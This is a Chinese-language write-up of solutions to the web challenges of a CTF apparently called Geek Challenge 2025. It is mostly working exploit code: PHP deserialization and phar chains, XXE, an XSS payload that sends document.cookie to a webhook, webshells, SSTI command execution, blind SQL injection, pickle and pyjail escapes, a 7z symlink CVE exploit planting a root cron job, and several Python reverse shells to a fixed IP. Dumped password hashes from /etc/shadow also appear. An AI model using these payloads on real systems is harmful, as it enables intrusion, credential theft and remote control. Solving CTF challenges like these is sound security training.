极客大挑战 2025 web Writeups
文章摘要
Summarizing...

popself
<?php
class All_in_one
{
public $KiraKiraAyu;
public $_4ak5ra;
public $K4per;
public $Samsāra;
public $komiko;
public $Fox;
public $Eureka;
public $QYQS;
public $sleep3r;
public $ivory;
public $L;
public function __set($name, $value)
{
echo "他还是没有忘记那个" . $value . "<br>";
echo "收集夏日的碎片吧<br>";
$fox = $this->Fox;
if (!($fox instanceof All_in_one) && $fox() === "summer") {
echo "QYQS enjoy summer<br>";
echo "开启循环吧<br>";
$komiko = $this->komiko;
$komiko->Eureka($this->L, $this->sleep3r);
}
}
public function __invoke()
{
echo "恭喜成功signin!<br>";
echo "welcome to Geek_Challenge2025!<br>";
$f = $this->Samsāra;
$arg = $this->ivory;
$f($arg);
}
public function __destruct()
{
echo "你能让K4per和KiraKiraAyu组成一队吗<br>";
if (is_string($this->KiraKiraAyu) && is_string($this->K4per)) {
if (md5(md5($this->KiraKiraAyu)) === md5($this->K4per)) {
die("boys和而不同<br>");
}
if (md5(md5($this->KiraKiraAyu)) == md5($this->K4per)) {
echo "BOY♂ sign GEEK<br>";
echo "开启循环吧<br>";
$this->QYQS->partner = "summer";
} else {
$this->QYQS->partner = "summer";
echo "BOY♂ can`t sign GEEK<br>";
echo md5(md5($this->KiraKiraAyu)) . "<br>";
echo md5($this->K4per) . "<br>";
}
} else {
die("boys堂堂正正");
}
}
public function __tostring()
{
echo "再走一步...<br>";
$a = $this->_4ak5ra;
$a();
}
public function __call($method, $args)
{
if (strlen($args[0]) < 4 && ($args[0] + 1) > 10000) {
echo "再走一步<br>";
echo $args[1];
} else {
echo "你要努力进窄门<br>";
}
}
}
class summer
{
public static function find_myself()
{
return "summer";
}
}
$obj1 = new All_in_one();
$obj1->KiraKiraAyu = "0e1138100474"; // md5(md5("0e1138100474")) = 0e779212254407018184727546255414
$obj1->K4per = "0e215962017"; // md5("0e215962017") = 0e291242476940776845150308577824
$obj2 = new All_in_one();
$obj1->QYQS = $obj2;
// __set 中 $fox() 需要返回 "summer"
// 条件: !($fox instanceof All_in_one) && $fox() === "summer"
// 直接用数组调用静态方法
$obj2->Fox = array('summer', 'find_myself'); // 调用 summer::find_myself()
$obj4 = new All_in_one();
$obj2->komiko = $obj4;
// 使用科学计数法: "1e9" 长度3,值为1000000000
$obj2->L = "1e9";
$obj5 = new All_in_one();
$obj2->sleep3r = $obj5;
$obj5->_4ak5ra = new All_in_one();
$obj5->_4ak5ra->Samsāra = 'system';
$obj5->_4ak5ra->ivory = 'env'; // 读取 flag 文件
$payload = serialize($obj1);
echo urlencode($payload);
array('summer', 'find_myself')() 相当于 summer::find_myself()
Vibe SEO
https://www.cnblogs.com/ToTigerMountain/articles/17567885.html
爆破 /dev/fd/ 后面的数字就行
Image Viewer
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///flag" >
]>
<svg height="100" width="1000">
<text x="10" y="20">&file;</text>
</svg>
Xross The Finish Line
<svg/onload=fetch("[https://webhook.site/8d19a79c-ba6c-4035-a06c-44caa036c156",{body:document.cookie,cors:"cors",method:"POST"}](https://webhook.site/8d19a79c-ba6c-4035-a06c-44caa036c156",%7Bbody:document.cookie,cors:"cors",method:"POST"%7D))>
one_last_image
<?=$a='sys';$b='tem';$c=$a.$b;$c($_GET['_']);
ez_read
/proc/self/cmdline → app.py + /proc/self/environ | grep PATH?(忘了,慢慢看) 读路径,读源码
{{url_for['**glo''bals**']['**builtins**']['eval']("app.after_request_funcs.setdefault(None,[]).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=**im""port**(\'flask\').make_re""sponse(**impo""rt**(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for['**glo''bals**']['request'],'app':url_for['**glo''bals**']['sys'].modules['**main**'].**dict**['app']})}}**********************************************************************************
提权查:https://gtfobins.github.io/gtfobins/env/
Xross The Doom
https://aszx87410.github.io/beyond-xss/ch3/dom-clobbering/
eeeeezzzzzzip
源码泄露,扫出 /www.zip
ez_serialize
注意到可以打 phar 反序列化,AI 一把梭
https://www.freebuf.com/articles/web/305292.html
<?php
class A {
public $file;
public $luo;
}
class B {
public $a;
public $test;
}
class C {
public $b;
}
// 1. Create instances of the classes
$c = new C();
$b = new B();
$a = new A();
// 2. Build the object chain
$c->b = "phpinfo"; // Placeholder, not used in the final chain for RCE
$b->a = $c; // When B is invoked, it will call C->rce_me()
$b->test = $a; // When B is unserialized, __wakeup triggers A->__toString()
$a->luo = $b; // A->__toString() will invoke B
// 3. Create a new Phar archive
@unlink("exploit.phar");
$phar = new Phar("exploit.phar");
$phar->startBuffering();
// 4. Set the Phar stub
// The stub is the part that runs when the phar is executed directly.
// For phar:// wrapper, it's not executed, but it's required.
$phar->setStub("<?php __HALT_COMPILER(); ?>");
// 5. Add a file to the archive (can be anything)
$phar->addFromString("test.txt", "test");
// 6. Set the metadata to our malicious object chain
// This is what gets unserialized when the phar's metadata is accessed.
$phar->setMetadata($b);
$phar->stopBuffering();
echo "exploit.phar created successfully.\n";
// Rename to a whitelisted extension for upload
rename('exploit.phar', 'exploit.gz');
echo "Renamed to exploit.gz for upload.\n";
?>
好的,这是一个典型的 PHP 反序列化漏洞结合 Phar 包装器的 CTF 挑战。我已经分析了 index.php、function.php 和 uploads.php 的代码。
我的计划如下:
- 构造 POP 链:利用 function.php 中定义的类
A、B和C来构造一个属性导向编程(POP)链。目标是最终调用C类的rce_me方法,该方法会执行system("cat /flag/flag.txt > /tmp/flag")来获取 flag。 - 创建 Phar 文件:创建一个 PHP 脚本来生成一个恶意的 Phar 归档文件。这个文件的元数据(metadata)将包含我们精心构造的 POP 链对象。
- 上传 Phar 文件:利用 uploads.php 的文件上传功能,将生成的 Phar 文件上传到服务器。由于
phar扩展名不在白名单中,我会将其重命名为允许的扩展名,例如.gz。 - 触发反序列化:访问 index.php,并使用
phar://包装器来指定我们上传的文件。当file_get_contents尝试读取 Phar 文件时,它会自动反序列化文件的元数据,从而触发我们的 POP 链。 - 读取 Flag:POP 链执行后,flag 会被写入
/tmp/flag文件。最后,再次访问 index.php 来读取/tmp/flag的内容。
我已经创建了一个名为 exploit.php 的文件来生成恶意的 Phar 文件。现在,我将执行它。
Ran terminal command: php exploit.php
我已成功生成 exploit.gz 文件。
现在,请按照以下步骤操作:
-
访问挑战网站上的 uploads.php 页面: http://019a596e-4ec7-7de4-bda4-0000e9cbadfd.geek.ctfplus.cn/uploads.php
-
选择并上传您本地工作区中的
exploit.gz文件。 -
上传成功后,页面可能会显示上传后的文件名,请记下该文件名(例如
1730898858_exploit.gz)。 -
然后,访问以下 URL,将
[UPLOADS_FILENAME]替换为您刚刚记下的文件名: 这将触发 Phar 反序列化并执行 payload。<http://019a596e-4ec7-7de4-bda4-0000e9cbadfd.geek.ctfplus.cn/index.php?serialized=1&filename=phar://./uploads/[UPLOADS_FILENAME]> -
最后,访问以下 URL 读取 flag:
<http://019a596e-4ec7-7de4-bda4-0000e9cbadfd.geek.ctfplus.cn/index.php?filename=/tmp/flag>
pdf viewer
把 pdf 下下来 01editor 找到生成用的库,有 cve
root:*:19507:0:99999:7::: daemon:*:19507:0:99999:7::: bin:*:19507:0:99999:7::: sys:*:19507:0:99999:7:::
sync:*:19507:0:99999:7::: games:*:19507:0:99999:7::: man:*:19507:0:99999:7::: lp:*:19507:0:99999:7:::
mail:*:19507:0:99999:7::: news:*:19507:0:99999:7::: uucp:*:19507:0:99999:7::: proxy:*:19507:0:99999:7::: www-
data:*:19507:0:99999:7::: backup:*:19507:0:99999:7::: list:*:19507:0:99999:7::: irc:*:19507:0:99999:7:::
gnats:*:19507:0:99999:7::: nobody:*:19507:0:99999:7::: _apt:*:19507:0:99999:7::: systemd-
network:*:20398:0:99999:7::: systemd-resolve:*:20398:0:99999:7::: messagebus:*:20398:0:99999:7:::
avahi:*:20398:0:99999:7::: geoclue:*:20398:0:99999:7:::
dave:$1$SEKIaQZe$mpWroqFAsiIhRC/i3loON.:20398:0:99999:7:::
john:$1$2On/QORN$6hyMHbZB4zohuV6qvlAt0/:20398:0:99999:7:::
emma:$1$Jsu14ZWx$pIl5A9rEr8px17kpSDQXU0:20398:0:99999:7:::
WeakPassword_Admin:$1$wJOmQRtK$Lf3l/z0uT/EAsFm3vQkuf.:20398:0:99999:7:::
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-
data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List
Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting
System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-network:x:101:102:systemd Network
Management,,,:/run/systemd/netif:/usr/sbin/nologin systemd-resolve:x:102:103:systemd
Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin messagebus:x:103:105::/nonexistent:/usr/sbin/nologin
avahi:x:104:107:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
geoclue:x:105:108::/var/lib/geoclue:/usr/sbin/nologin dave:x:1000:1000::/home/dave:/bin/bash
john:x:1001:1001::/home/john:/bin/bash emma:x:1002:1002::/home/emma:/bin/bash
WeakPassword_Admin:x:1003:1003::/home/WeakPassword_Admin:/bin/bash
<!DOCTYPE html>
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<body>
<script>
x=new XMLHttpRequest;
x.onload=function(){
document.write(this.responseText)
};
x.open("GET","file:///etc/network/interfaces");
x.send();
</script>
</body></html>

Sequal No Uta
import requests
KEYWORD = "该用户存在且活跃"
MAX_LEN = 800
# TARGET = "(select(group_concat(name))from(sqlite_master)where(type='table'))"
# TARGET = "(select(sql)from(sqlite_master)where(name='users'))"
'''
CREATE TABLE users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT UNIQUE NOT NULL,
password TEXT NOT NULL,
is_active INTEGER NOT NULL DEFAULT 1,
secret TEXT
)
'''
TARGET = "(select(group_concat(secret))from(users))"
# SYC{YourPoem-019a6672e7a679c998afa898e7558a5c}
total_call = 0
def construct_payload(payload):
return f"-1'or({payload})--"
def request_payload(payload):
global total_call
total_call += 1
# print(f"{total_call}::{construct_payload(payload)}")
result = KEYWORD in requests.get(f"http://019a6672-e7ba-707b-973c-d14837261e76.geek.ctfplus.cn/check.php?name={construct_payload(payload)}").text
return result
def fuzz_n(x,n):
i = 31
j = 127
while i <= j:
mid = (i + j) // 2
if request_payload(f"substr({x},{str(n)},1)<'{chr(mid)}'"):
j = mid - 1
else:
i = mid + 1
if i == j + 1 and request_payload(f"substr({x},{str(n)},1)='{chr(j)}'"):
return chr(j)
else:
return -1
def fuzz(ii):
for i in range(ii, MAX_LEN + 1):
c = fuzz_n(TARGET,i)
if c == -1 or ord(c) <= 0:
print(" ",end='')
fuzz(i+1)
print(c, end='', flush=True)
fuzz(1)
print(f"\nTotal call: {total_call}")
路在脚下&路在脚下_rev
非 rev 可以 mkdir static 然后写 static
{{url_for.__globals__.os.system('python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("101.201.208.77",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'')}
ezjdbc
下面这个项目自带的 cc32 链子就行,curl 传参有点问题,打 curl [xxx.sh](http://xxx.sh) -o xxx.sh&&chmod +x xxx.sh&&./xxx.sh
https://github.com/fnmsd/MySQL_Fake_Server.git
原理:https://su18.org/post/jdbc-connection-url-attack/#build-my-own-fake-server
77777_time_task
https://github.com/lunbun/CVE-2025-55188/
#!/bin/bash
#
# Writes to ../file.txt on extraction.
#
# Works on Linux only.
#
olddir="$(pwd)"
tempdir="$(mktemp -d)"
cd "$tempdir"
mkdir -p c/d
ln -s /c c/d/link
7z a 1.7z c/d/link -snl
ln -s c/d/link/../../tmp/ link
7z a 1.7z link -snl
rm link
mkdir link
echo -e "#\!/bin/sh\nmkdir /app/static\ncat /flag>/app/static/flag.txt" > link/a.sh
7z a 1.7z link/a.sh
cp 1.7z "$olddir"
cd "$olddir"
rm -r "$tempdir"
#!/bin/bash
#
# Writes to ../file.txt on extraction.
#
# Works on Linux only.
#
olddir="$(pwd)"
tempdir="$(mktemp -d)"
cd "$tempdir"
mkdir -p a/b
ln -s /a a/b/linker
7z a 2.7z a/b/linker -snl
ln -s a/b/linker/../../etc/cron.d/ linker
7z a 2.7z linker -snl
rm linker
mkdir linker
echo "*/2 * * * * root chmod +x /tmp/a.sh&&/tmp/a.sh" > linker/task
7z a 2.7z linker/task
cp 2.7z "$olddir"
cd "$olddir"
rm -r "$tempdir"
AISCREAM
import requests
import threading
import time
import concurrent.futures
# Base URL
BASE_URL = 'http://019aab72-1981-7fa2-b146-6f4136791272.geek.ctfplus.cn'
# Create a session to maintain cookies
session = requests.Session()
def upload_file(file_path, description):
with open(file_path, 'rb') as f:
files = {'model_file': f}
response = session.post(f'{BASE_URL}/model/upload', files=files)
print(f'{description} upload response: {response.status_code}')
return response
def predict(text):
params = {'text': text}
response = session.get(f'{BASE_URL}/model/predict', params=params)
print(f'Predict response: {response.status_code} - {response.json()}')
return response
# Step 1: Upload safe.pkl to set audit_ok to true
# Step 2: High concurrency attempts
def attempt_race(attempt_num):
upload_file('tools/safe.pkl', 'Safe')
print("Uploading safe.pkl...")
print(f"Attempt {attempt_num}: Starting concurrent upload POC and predict")
with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
future_upload = executor.submit(upload_file, 'tools/poc.pkl', f'POC-{attempt_num}')
future_predict = executor.submit(predict, 'test')
upload_result = future_upload.result()
predict_result = future_predict.result()
return predict_result
# Try multiple times
num_attempts = 100
for i in range(1, num_attempts + 1):
result = attempt_race(i)
if result.status_code == 200:
print(f"Success in attempt {i}!")
break
print("All attempts completed.")
cbuiltins
exec
(S"import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('101.201.208.77',2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);"
tR.
S'hello world'
.
百年继承
execute_method 就是那个 lambda 啥啥的,打原型链污染给他干掉
{
"__class__":{
"__base__":{
"__base__":{
"execute_method": "__import__('os').popen('mkdir -p static&&env>static/env.txt').read()"
}
}
}
}

西纳普斯的许愿碑~~(已投降)~~
https://www.manhuazhan.org/chapter/254403-48563.html
from time import sleep
import requests as r
base_url = "http://019aae3d-fa04-7825-a4d2-d1027cd1395c.geek.ctfplus.cn"
def logger(fn):
def wrapper(*args, **kwargs):
print(f"[Excuting {fn.__name__}]", end=":::")
return fn(*args, **kwargs)
return wrapper
@logger
def trigger_all_wishes():
s = r.get(base_url+'/api/wishes')
print(s.text)
print("[Result]:::" + s.json()["wishes"][-1])
@logger
def add_a_wish(wish):
print(r.post(base_url+'/api/wishes', json={ "wish": wish }).text)
forbidden_wishes = {
"__class__", "__dict__", "__bases__", "__mro__", "__subclasses__",
"__globals__", "__code__", "__closure__", "__func__", "__self__",
"__module__", "__import__", "__builtins__", "__base__"
}
while(True):
pay = input('[Payload]:::')
if(pay=='q'):
break
if(pay=='cls'):
__import__('os').system('cls')
continue
bypass = "\",end='')\nlen=lambda x:0\nlist=lambda x:['builtins.input', 'builtins.input/result','exec', 'compile', 'os.system']\n" + pay + "#"
add_a_wish(''.join([ '\\x'+hex(ord(ch))[2:] if ch in "\"'|&`+-*/()[]{}_." else ch for ch in bypass]))
trigger_all_wishes()
sleep(0.05)
# PoC: def f():\n\tglobal x, frame\n\tframe = x.gi_frame.f_back.f_back\n\tyield\nx = f()\nx.send(None)\nprint(frame.f_globals["io"].open("/proc/self/environ").read())
# PoC2: def f():\n\tglobal x, frame\n\tframe = x.gi_frame.f_back.f_back\n\tyield\nx = f()\nx.send(None)\nprint(frame.f_globals["multiprocessing"].util.spawnv_passfds(b"/bin/sh", ["/bin/sh", "-c", "env>/app/static/env.txt"], []))
# PoC3: def f():\n\tglobal x, frame\n\tframe = x.gi_frame.f_back.f_back\n\tyield\nx = f()\nx.send(None)\nprint(frame.f_globals["multiprocessing"].util.spawnv_passfds(b"/bin/sh", ["/bin/sh", "-c", "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"101.201.208.77\",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"], []))
被 web&misc 吓哭,然后下定决心按 web 题打,没想到真能绕。这下看懂了,misc 怕不是指的是 pyjail 罢(
评论
0 条